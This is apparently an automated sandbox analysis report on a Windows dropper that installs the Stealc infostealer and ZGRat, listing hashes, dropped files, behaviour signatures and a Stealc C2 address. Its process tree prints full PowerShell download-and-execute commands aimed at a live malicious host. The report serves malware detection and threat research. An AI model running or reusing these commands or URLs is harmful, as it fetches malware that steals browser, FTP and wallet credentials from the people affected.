Analysis

  • max time kernel
    141s
  • max time network
    287s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    05-05-2024 22:35

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsy5B31.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3136
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1144
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Users\Admin\AppData\Local\Temp\u2go.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u2go.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:428
        • C:\Users\Admin\AppData\Local\Temp\u2go.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u2go.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4224
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3220
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:4368

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Are.docx

      Filesize

      11KB

      MD5

      a33e5b189842c5867f46566bdbf7a095

      SHA1

      e1c06359f6a76da90d19e8fd95e79c832edb3196

      SHA256

      5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

      SHA512

      f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      66382a4ca6c4dcf75ce41417d44be93e

      SHA1

      8132cbef1c12f8a89a68a6153ade4286bf130812

      SHA256

      a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

      SHA512

      2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      1dfe4a7eda8165b2dc491ba6a153f7d3

      SHA1

      8219a7c5808f5a2d1df58007ab5c128d462afbb6

      SHA256

      94d5c6eb7c4e18e5a78fdce566444bf71c96f754c55ecdbb5985f0f484841b8b

      SHA512

      8ee01e8890ec8be2ef743b1c95f78ae5b9d928e19e45d10b7b4151bfe6388a8385bd10765bed7a48a7b88c563c00de74de67b8ad3f00c19a7d931992b2dd9853

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      e08eb71fd0ccf7f32f7d0081386c819c

      SHA1

      757b3f70fb4a71e7e45d9c62aaa4f6feb8b29e7a

      SHA256

      c411330ae43724d3671ed7a7e194b5641e763e9ade4402a67da93e9a5d43d8e8

      SHA512

      9a220c36133072c73a9c88484c0e477592b1faaa39923b1f2455d229095af167e5c25fefa6182680c9949c2ed161fc4ac13e00614a0f7a60513b69f846ab926c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1bmroiiy.irt.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • C:\Users\Admin\AppData\Local\Temp\i1.exe

      Filesize

      416KB

      MD5

      5a304097bbad807ab8c6e530ecccd1e7

      SHA1

      06f7500dc67eca8fb5d71e3cccfe2a7fc690e60a

      SHA256

      61f5cf9b9425fe31152a53c8e1f850c575b9332da40c1491e374f06fc44dadaa

      SHA512

      019bf1d3a4f9925138c5f33bccba773ded34975adc7d973ac081128511a8ccce8d478389a9ef7908b2eac8caecbf0dc8f1f1560d4ec295f696bcaae14bb53bcd

    • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

      Filesize

      2KB

      MD5

      47281c09a346e935c0d9fb3c756f92fa

      SHA1

      66ecd0747c35dad2ee7f04de5aadd93f7e142271

      SHA256

      93fc631a1ba1f8076d7f7a162747695f84cbd72c843b1785f09b4b63b4a824ae

      SHA512

      75b17616e7d95d2da6170e78361639591b5af17f6afe910f7e1edb68242fb99be5c79f5917cce81c902ba60c0b9cdbc89ac1706f88d86ab5df868c724e163248

    • C:\Users\Admin\AppData\Local\Temp\nsy5B31.tmp\app.bat

      Filesize

      556B

      MD5

      1d5830e49fb8ad21e3c1e3333b819e7f

      SHA1

      ee70e4b9c36d0bbcefce139bac51abadbd985197

      SHA256

      8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

      SHA512

      1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

    • C:\Users\Admin\AppData\Local\Temp\u2go.0.exe

      Filesize

      274KB

      MD5

      fae96a12ae35c2243801206ca089798d

      SHA1

      52b8769b202701900f03c386623232ee23fb90d3

      SHA256

      1b32e30cfeea17e7f29f8c907c42cafc3a18da4306007b5c5bc38cb6bb4f1750

      SHA512

      7a3d2284145b98b8db779e1a941f48125fd3fee00dc147fb6a2c0ecf0840b9c52973930871182e402726878de2bfb0dd7e4d64396e4280700511e2ac81aa7abe

    • C:\Users\Admin\AppData\Local\Temp\u2go.1.exe

      Filesize

      4.6MB

      MD5

      397926927bca55be4a77839b1c44de6e

      SHA1

      e10f3434ef3021c399dbba047832f02b3c898dbd

      SHA256

      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

      SHA512

      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

    • \ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • \ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • \Users\Admin\AppData\Local\Temp\nsy5B31.tmp\INetC.dll

      Filesize

      25KB

      MD5

      40d7eca32b2f4d29db98715dd45bfac5

      SHA1

      124df3f617f562e46095776454e1c0c7bb791cc7

      SHA256

      85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

      SHA512

      5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

    • memory/212-209-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/428-108-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

    • memory/428-181-0x0000000000400000-0x0000000002B02000-memory.dmp

      Filesize

      39.0MB

    • memory/428-182-0x0000000000400000-0x0000000002B02000-memory.dmp

      Filesize

      39.0MB

    • memory/3136-47-0x00000000099C0000-0x00000000099DA000-memory.dmp

      Filesize

      104KB

    • memory/3136-21-0x00000000053D0000-0x0000000005406000-memory.dmp

      Filesize

      216KB

    • memory/3136-48-0x0000000072770000-0x0000000072E5E000-memory.dmp

      Filesize

      6.9MB

    • memory/3136-46-0x000000000A320000-0x000000000A998000-memory.dmp

      Filesize

      6.5MB

    • memory/3136-31-0x0000000008C10000-0x0000000008C86000-memory.dmp

      Filesize

      472KB

    • memory/3136-20-0x000000007277E000-0x000000007277F000-memory.dmp

      Filesize

      4KB

    • memory/3136-30-0x0000000008DC0000-0x0000000008E0B000-memory.dmp

      Filesize

      300KB

    • memory/3136-22-0x0000000072770000-0x0000000072E5E000-memory.dmp

      Filesize

      6.9MB

    • memory/3136-29-0x00000000083D0000-0x00000000083EC000-memory.dmp

      Filesize

      112KB

    • memory/3136-52-0x0000000072770000-0x0000000072E5E000-memory.dmp

      Filesize

      6.9MB

    • memory/3136-26-0x0000000008400000-0x0000000008466000-memory.dmp

      Filesize

      408KB

    • memory/3136-28-0x0000000008470000-0x00000000087C0000-memory.dmp

      Filesize

      3.3MB

    • memory/3136-23-0x0000000007B80000-0x00000000081A8000-memory.dmp

      Filesize

      6.2MB

    • memory/3136-27-0x0000000008220000-0x0000000008286000-memory.dmp

      Filesize

      408KB

    • memory/3136-25-0x0000000007B10000-0x0000000007B32000-memory.dmp

      Filesize

      136KB

    • memory/3136-24-0x0000000072770000-0x0000000072E5E000-memory.dmp

      Filesize

      6.9MB

    • memory/3192-107-0x0000000000400000-0x0000000002B25000-memory.dmp

      Filesize

      39.1MB

    • memory/3192-144-0x0000000000400000-0x0000000002B25000-memory.dmp

      Filesize

      39.1MB

    • memory/3220-82-0x00000000086F0000-0x000000000873B000-memory.dmp

      Filesize

      300KB

    • memory/3220-80-0x0000000008120000-0x0000000008470000-memory.dmp

      Filesize

      3.3MB

    • memory/4224-211-0x0000025844100000-0x0000025844210000-memory.dmp

      Filesize

      1.1MB

    • memory/4224-218-0x0000025843F40000-0x0000025843FF2000-memory.dmp

      Filesize

      712KB

    • memory/4224-213-0x000002582B3E0000-0x000002582B3EC000-memory.dmp

      Filesize

      48KB

    • memory/4224-212-0x000002582B3C0000-0x000002582B3D0000-memory.dmp

      Filesize

      64KB

    • memory/4224-215-0x000002582B530000-0x000002582B554000-memory.dmp

      Filesize

      144KB

    • memory/4224-214-0x000002582B3D0000-0x000002582B3E4000-memory.dmp

      Filesize

      80KB

    • memory/4224-221-0x0000025844420000-0x0000025844496000-memory.dmp

      Filesize

      472KB

    • memory/4224-222-0x000002582B330000-0x000002582B33A000-memory.dmp

      Filesize

      40KB

    • memory/4224-220-0x0000025844340000-0x00000258443A2000-memory.dmp

      Filesize

      392KB

    • memory/4224-219-0x0000025843EB0000-0x0000025843F2A000-memory.dmp

      Filesize

      488KB

    • memory/4224-226-0x00000258444A0000-0x00000258447A0000-memory.dmp

      Filesize

      3.0MB

    • memory/4224-210-0x0000025825D80000-0x0000025829678000-memory.dmp

      Filesize

      57.0MB

    • memory/4224-217-0x000002582B550000-0x000002582B57A000-memory.dmp

      Filesize

      168KB

    • memory/4224-216-0x000002582B320000-0x000002582B32A000-memory.dmp

      Filesize

      40KB

    • memory/4224-229-0x00000258485E0000-0x0000025848618000-memory.dmp

      Filesize

      224KB

    • memory/4224-228-0x0000025848560000-0x0000025848568000-memory.dmp

      Filesize

      32KB

    • memory/4224-231-0x00000258496F0000-0x0000025849712000-memory.dmp

      Filesize

      136KB

    • memory/4224-230-0x00000258496E0000-0x00000258496EA000-memory.dmp

      Filesize

      40KB

    • memory/4224-232-0x0000025849C50000-0x000002584A176000-memory.dmp

      Filesize

      5.1MB

    • memory/4224-236-0x0000025849710000-0x000002584971C000-memory.dmp

      Filesize

      48KB

    • memory/4224-235-0x0000025849760000-0x00000258497B0000-memory.dmp

      Filesize

      320KB

    • memory/4224-237-0x00000258497B0000-0x00000258497D2000-memory.dmp

      Filesize

      136KB

    • memory/4224-238-0x0000025849740000-0x000002584975E000-memory.dmp

      Filesize

      120KB